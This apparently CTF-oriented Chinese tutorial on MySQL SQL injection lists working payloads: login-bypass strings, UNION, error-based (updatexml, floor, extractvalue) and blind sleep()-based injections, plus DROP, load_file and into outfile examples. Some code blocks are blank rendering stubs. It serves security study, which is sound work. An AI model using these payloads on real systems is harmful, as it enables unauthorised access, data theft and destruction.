SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
SQL基本知识
Mysql数据库连接与查询
1 |
|
- select 查询语句
1 | SELECT 字段,字段... from 表 where 条件 |
- insert into 插入语句
1 | insert into 表名 (字段,字段...)values(值) |
- update 更新语句
1 | update 表名 set 字段=新值,字段=新值 where 条件 |
SQL注入分类
- 可回显注入
- 可以联合查询的注入
- 报错注入
- 通过注入进行DNS请求,从而达到可回显的目的
- 不可回显的注入
- Bool注入
- 时间注入
- 二次注入
注入常见参数
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
SQL注入漏洞的基本原理、利用和防御
sql语句拼接,导致sql语句被更改导致查询任意数据/执行命令。
1 |
|
后台万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
- 以不同的用户登陆
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
单行注释
--
(MYSQL的·--
后跟有一个空格)
1 | DROP sampletable;--1111 |
- #(mysql)
1 | DROP sampletable; |
多行注释
1 | /* |
显注
判断字段数
- order by查询判断表中字段数量
order by 原本是对返回结果进行排序的语句
基本语法:
1 | ORDER BY column_name,column_name ASC|DESC; |
这是一个对返回 关联数组以id为依据进行降序排序。
1 | order by id desc |
对单个字段可以进行排序对于多个也可
1 | order by A,B 这个时候都是默认按升序排列 |
当id换成数字1时,发现结果一样,这就说明数字代表的就是第一个字段id,第二个例子也说明order by可以多字段排列。这样我们就可以order by 1,2,3,4…..这样直到内容报错或者内容改变,就可以知道这个表中存在多少个字段。
判断显注点
在判断输入点是否存在注入时,可以先假设原程序执行的SQL语句
如
1 | SELECT Username FROM User WHERE id = '$id'; //参数为字符串 |
然后可以通过以下几种方法进行判断
插入单引号:最常用的检测方法,原理在于未闭合的单引号会引起SQL语句单引号未闭合的错误
数字型判断:通过
and 1=1
(数字型)和闭合单引号测试语句'and '1'='1
(字符串型)进行判断,这里采用Payload’1’=’1的目的是为了闭合原语句后方的单引号通过数字的加减进行判断:比如,我们在题目中抓到了链接
1
http://example.com/?id=2
就可以进行如下测试
1
http://example.com/?id=3-1
如果结果一致说明id这个输入点可能存在SQL注入漏洞
可以联合查询的SQL注入
如下例子
以上的$id变量会以GET参数直接拼接入SQL语句中
假如此时传入
1 | ?id=-1'union+select+1+--+ |
拼接后SQL语句变为
1 | SELECT id FROM users WHERE user_id='-1'union select 1 --' |
闭合前面的单引号,注释掉后面的单引号,中间写上需要的Payload就可以了。“+”会被自动处理为空格符
报错注入
主要学习3种MYSQL数据库报错注入的方法,分别是updatexml,floor,exp
- updatexml
1 | and updatexml(1,payload,1) |
该语句对输出的字符长度也做了限制,其最长输出32位
该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
- floor
floor报错的原理是rand和order by或groud by的冲突
1 | and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) |
输出字符长度限制为64个字符
- ExtractValue
1 | and extractvalue(1, payload) |
输出字符有长度限制,最长32位。
盲注
bool盲注
1 | #布尔盲注可能用到的函数 |
在sql执行成功会返回正确的页面,而执行失败返回错误的页面。例如下面两条语句返回的页面不一样,这样就能判断我们是否猜对
1 | ' and mid(version(),2,1)='.' --+ |
语义:mid用于截断版本号的第二位是不是等于“.”如果是则放回TURE否则FALSE
1 | ' and mid(version(),2,1)='a' --+ |
语义:mid用于截断版本号的第二位是不是等于“a”如果是则放回TURE否则FALSE
1 | #爆出数据库版本: |
时间盲注
- IF函数
1 | IF(exp1,exp2,exp3)#IF语句 |
实际举例,若exp1为ture将会返回A否则返回B
1 | SELECT IF(TRUE,'A','B'); -- 输出结果:A |
- sleep 函数
1 | sleep(5)#休眠5秒 |
例
1 | if(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行 sleep |